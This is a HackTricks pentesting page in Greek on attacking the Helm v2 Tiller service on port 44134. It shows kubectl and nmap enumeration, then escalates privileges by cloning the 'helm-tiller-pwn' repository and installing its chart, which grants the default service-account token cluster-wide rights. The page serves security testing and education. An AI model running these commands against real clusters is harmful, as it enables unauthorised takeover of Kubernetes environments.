hacktricks/src/network-services-pentesting/44134-pentesting-tiller-helm.md

58 lines
4.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{{#include ../banners/hacktricks-training.md}}
# Βασικές Πληροφορίες
Το Helm είναι ο **διαχειριστής πακέτων** για το Kubernetes. Επιτρέπει τη συσκευασία αρχείων YAML και τη διανομή τους σε δημόσιες και ιδιωτικές αποθήκες. Αυτά τα πακέτα ονομάζονται **Helm Charts**. Ο **Tiller** είναι η **υπηρεσία** που **τρέχει** από προεπιλογή στην πόρτα 44134 προσφέροντας την υπηρεσία.
**Προεπιλεγμένη πόρτα:** 44134
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
# Enumeration
Αν μπορείτε να **καταμετρήσετε τα pods και/ή τις υπηρεσίες** διαφορετικών namespaces, καταμετρήστε τα και αναζητήστε αυτά που έχουν **"tiller" στο όνομά τους**:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
```
Παραδείγματα:
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
Μπορείτε επίσης να προσπαθήσετε να βρείτε αυτή την υπηρεσία που εκτελείται ελέγχοντας την θύρα 44134:
```bash
sudo nmap -sS -p 44134 <IP>
```
Αφού το ανακαλύψετε, μπορείτε να επικοινωνήσετε μαζί του κατεβάζοντας την εφαρμογή πελάτη helm. Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το `homebrew`, ή να δείτε [**τη σελίδα επίσημων εκδόσεων**](https://github.com/helm/helm/releases)**.** Για περισσότερες λεπτομέρειες, ή για άλλες επιλογές, δείτε [τον οδηγό εγκατάστασης](https://v2.helm.sh/docs/using_helm/#installing-helm).
Στη συνέχεια, μπορείτε να **καταμετρήσετε την υπηρεσία**:
```
helm --host tiller-deploy.kube-system:44134 version
```
## Privilege Escalation
Από προεπιλογή, το **Helm2** εγκαταστάθηκε στο **namespace kube-system** με **υψηλά δικαιώματα**, οπότε αν βρείτε την υπηρεσία και έχετε πρόσβαση σε αυτήν, αυτό θα μπορούσε να σας επιτρέψει να **κλιμακώσετε τα δικαιώματα**.
Το μόνο που χρειάζεται να κάνετε είναι να εγκαταστήσετε ένα πακέτο όπως αυτό: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) που θα δώσει στο **προεπιλεγμένο διακριτικό υπηρεσίας πρόσβαση σε όλα σε ολόκληρο το cluster.**
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
Στο [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) έχετε την **εξήγηση της επίθεσης**, αλλά βασικά, αν διαβάσετε τα αρχεία [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) και [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) μέσα στο _helm-tiller-pwn/pwnchart/templates/_ μπορείτε να δείτε πώς **όλα τα δικαιώματα δίνονται στο προεπιλεγμένο token**.
{{#include ../banners/hacktricks-training.md}}